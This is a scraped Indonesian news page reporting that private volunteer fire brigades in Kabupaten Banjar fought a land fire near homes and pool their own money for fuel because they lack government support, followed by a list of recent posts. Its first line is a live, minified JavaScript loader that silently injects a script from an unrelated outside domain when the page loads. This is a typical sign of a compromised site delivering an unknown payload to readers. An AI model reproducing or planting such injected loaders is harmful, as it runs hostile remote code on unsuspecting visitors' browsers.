(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sosial

Ikut Berjibaku Padamkan Karhutla, Damkar Swasta Patungan Beli BBM


MARTAPURA, Puluhan Damkar swasta di Kabupaten Banjar dibantu sejumlah Damkar swasta dari Kota Banjarmasin sibuk membasahi api yang melahap hutan dan lahan dekat perumahan Komplek Dinas Mas 3 Jalan Pemajatan Km 1,700 RT 06 Kecamatan Gambut, Minggu (30/9) petang.

Menurut salah satu anggota Damkar KGB Mulia Dikky, pihaknya mendapat informasi adanya kebakaran lahan yang hampir mendekati rumah warga sekitar pukul 15.00 Wita, setelah mendengar beberapa anggota dari Kabupten Banjar kewalahan mengatasi kebakaran, pihaknya bergegas untuk berangkat ke lokasi.

“Mendengar informasi teman-teman dari Kabupaten Banjar kewalahan mengatasi api, kita putuskan untuk berangkat dan membantu, Alhamdulilah walaupun sekitar tiga meter lagi api mendekati rumah, akhirnya bisa ditangani,” ujarnya.

Diakui Dikky, selama melakukan pemadaman dibantu teman-teman Damkar swasta, tidak nampak barisan pemadan resmi yang ditugaskan selama karhutla, hanya ada pihak kepolisian sebatas pengawasan.

Diakuinya, Damkar swasta masih sangat minim disentuh oleh pemerintah, sehingga pihaknya kesulitan untuk beroperasi, bahkan untuk membeli BBM setiap kali berangkat ke lokasi kebakaran, pihaknya harus patungan terlebih dahulu.

“Hingga sekarang bantuan pemerintah untuk kami masih minim sekali, bahkan tidak ada, kami mengharapkan ada bantuan dari pemerintah paling tidak untuk biaya operasonal saja, tidak lebih,” harapnya.

Sady, salah satu anggota Damkar Malataba Kertak Hanyar, pihaknya mendapat informasi adanya kebakaran lahan yang hampir mendekati rumah warga sekitar pukul 15.00 Wita, dan langsung bergegas menuju ke lokasi. Selama kurang lebih satu bulan mengikuti karhutla di daerah Kabupaten Banjar pihaknya menggunakan anggaran swadaya untuk operasional dan masih tidak didukung oleh pemerintah daerah.

“Kalau mau pergi ke lokasi kita harus kumpulan uang dulu buat beli bensin baru bisa berangkat, dan masih tidak ada sedikitpun bantuan dari pemerintah,” ujarnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

4 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

5 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

5 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

6 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

10 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

11 jam ago

This website uses cookies.